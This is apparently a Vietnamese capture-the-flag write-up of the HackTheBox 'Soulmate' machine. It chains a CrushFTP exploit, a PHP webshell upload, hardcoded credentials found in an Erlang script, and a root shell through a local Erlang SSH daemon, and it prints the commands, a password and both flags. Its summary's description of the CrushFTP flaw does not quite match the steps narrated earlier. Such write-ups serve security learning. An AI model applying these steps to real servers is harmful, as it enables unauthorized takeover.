# HTB-Soulmate

Vì cũng là cuối năm rồi nên tranh thủ viết, tao sẽ bỏ qua phần `Nmap` mà đi luôn vào khai thác.
Tìm kiếm các subdomain thì thấy một subdomain là `ftp`

Tìm kiếm CVE exploit liên quan đến CrushFTP

Tìm code và chạy thôi, code cũng dễ hiểu nên chịu khó đọc tí chứ không phải cứ thế cầm về chạy.

Thành công login được với tài khoản vừa tạo.

Tìm chức năng `User Manager` và ta thấy có các tài khoản, ví dụ như `"ben"`

Thực hiện đổi mật khẩu để dễ truy cập, sau đó đăng nhập lại với tư cách `"ben"`

Đăng nhập thành công với tư cách `"ben"`. Tiếp tục ta thực hiện truy cập `webProd`

Up `webshell` lên thôi


Kiểm tra và thấy mật khẩu của `"ben"`






Sau một hồi vcl thì tao đã vào được shell cuối cùng

Cuối cùng đã tìm thấy flag
# Tóm lại là như sau:
### HTB Soulmate – Full Chain Writeup (Initial → Root)
**1. Initial Foothold – CrushFTP RCE (CVE-2025-31161)**
- CrushFTP < 10.7.3 bị blind SSRF + arbitrary file read qua template velocity
- Dùng PoC hoặc Burp Collaborator confirm → đọc được file hệ thống
- Upload reverse shell PHP qua CrushFTP admin interface (port 8080 hoặc 9090) → Shell www-data (webshell rất lag)
**2. www-data → user ben**
- Enum thấy file: /usr/local/lib/erlang_login/start.escript
Bash
```
cat /usr/local/lib/erlang_login/start.escript
```
→ Phát hiện hardcoded credentials được hard-code:
erlang
```
{user_passwords, [{"ben", "HouseH0ldings998"}]},
```
- Từ shell www-data, SSH local vào user ben:
Bash
```
ssh ben@127.0.0.1
# password: HouseH0ldings998
# (hoặc ssh -o StrictHostKeyChecking=no ben@127.0.0.1 HouseH0ldings998)
```
→ Được shell ben@soulmate:~$ → Đọc user.txt: 67f72164299dc1a983d10d213613abd5
**3. ben → root (Erlang SSH Daemon RCE)**
- Enum port local:
Bash
```
ss -tuln | grep 2222
# → 127.0.0.1:2222 đang listen
```
- Phát hiện Erlang SSH daemon được start bởi script trên (vẫn dùng cùng password ben:HouseH0ldings998)
- Từ shell ben, SSH vào chính daemon này:
Bash
```
ssh ben@127.0.0.1 -p 2222
# password: HouseH0ldings998
```
→ Vào thẳng Erlang shell với quyền **root** (vì daemon chạy dưới root)
- Thực thi lệnh hệ thống qua module os đã được load sẵn:
erlang
```
os:cmd("whoami").
% → "root\n"
os:cmd("cat /root/root.txt").
% → "f90aefdd3ed874f874d30db3d4191578\n"